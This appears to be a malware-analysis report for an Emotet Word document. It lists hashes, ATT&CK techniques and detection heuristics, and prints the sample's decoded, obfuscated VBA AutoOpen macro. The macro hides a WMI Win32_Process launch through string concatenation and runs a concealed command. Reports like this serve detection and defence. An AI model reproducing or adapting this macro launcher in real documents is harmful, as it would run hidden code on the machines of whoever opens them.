Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 fed668eb24ca328b…

MALICIOUS

Office (OLE)

136.2 KB Created: 2019-05-17 07:25:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: 4dabc503b9c00a133b532f37e20c87ee SHA-1: 47bede27e01ba897e4677196a3f21564b107ff98 SHA-256: fed668eb24ca328b99050e8356c01eccd0cbf390855c763c46fd869e0905e126
282 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1105 Ingress Tool Transfer

The sample contains a VBA macro that leverages WMI (Win32_Process) to create a new process. This is a common technique used by malware like Emotet to download and execute further stages. The presence of the 'Doc.Downloader.Emotet-10001946-0' ClamAV signature strongly indicates the Emotet family.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1479 bytes
SHA-256: 7b7d39202c0b30e871b812fff7d3d14ee50f4231443a22eb95da441cdd5316ce
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "z8957691"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "f0611_5, 0, 0, MSForms, TextBox"
Attribute VB_Control = "E_908351, 1, 1, MSForms, TextBox"
Attribute VB_Control = "n36686, 2, 2, MSForms, TextBox"
Attribute VB_Control = "w8906799, 3, 3, MSForms, TextBox"
Attribute VB_Control = "D142402_, 4, 4, MSForms, TextBox"
Attribute VB_Control = "P198_4, 5, 5, MSForms, TextBox"

Attribute VB_Name = "z624356"
Sub _
autoopen( _
)
Set X76462 = GetObject("WiN" + "mgmts:Win32_ProcessStarTUP")
   k61_65_ = ("493946851" + "n7277186" + ("S451386" + ("66170685") + ("817697821" + ("951854866"))))
X76462. _
ShowWindow = vbFalse - vbFalse
   v2552733 = ("267184408" + "p52_07" + ("M671073" + ("332165141") + ("348574554" + ("126559324"))))
I_419871 = z8957691.E_908351 + z8957691.n36686 + z8957691.w8906799 + z8957691.D142402_ + z8957691.f0611_5
   V5_5_279 = ("775026425" + "k27_597" + ("Q_895325" + ("356227760") + ("545833510" + ("653338710"))))
Set t95093 = GetObject("WiN" + "mgmts:Win32_Process")
   l4173833 = ("625334042" + "O64994_1" + ("b3350469" + ("587634633") + ("897537029" + ("309033746"))))
t95093.Create X124053 + I_419871 + Q9392699, K4985__4, X76462, L702_4
End Sub


Attribute VB_Name = "h35847"

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